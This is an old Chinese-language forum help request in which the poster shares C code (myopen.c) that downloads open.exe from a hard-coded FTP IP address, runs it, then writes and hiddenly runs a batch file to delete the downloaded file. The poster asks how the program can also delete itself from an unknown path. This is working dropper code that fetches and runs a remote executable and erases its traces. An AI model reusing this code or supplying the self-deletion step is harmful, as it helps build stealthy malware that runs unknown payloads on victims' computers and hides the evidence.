[求助]怎么把自己删了呢?
//文件名--myopen.c#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<urlmon.h>
#include<process.h>
#include<Shellapi.h>
#pragma comment (lib,"Urlmon.lib")
int main()
{
//下载"open.exe"到"C:\\open.exe"
URLDownloadToFile(NULL,"ftp://123.10.54.104/open.exe","C:\\open.exe",0,NULL);
//运行"C:\\open.exe"
ShellExecute(0,"open","C:\\open.exe",NULL,NULL,SW_SHOW);
char str[]={"del /f /q C:\\open.exe"};
char ch; FILE *fp;
if((fp=fopen("C:\\myclear.bat","w+"))==NULL)
{
exit(0);
}
for(int i=0;(ch=str[i])!='\0';i++)
{
fputc(ch,fp);
}
fclose(fp);
//运行批处理文件"myclear.bat"---删掉"open.exe"
WinExec("C:\\myclear.bat",SW_HIDE);
return 0;
}
最后怎么把"myopen.exe"也删掉呢?"myopen.exe"的路径不确定呀.
请前辈指点一下
[此贴子已经被作者于2007-9-5 3:59:29编辑过]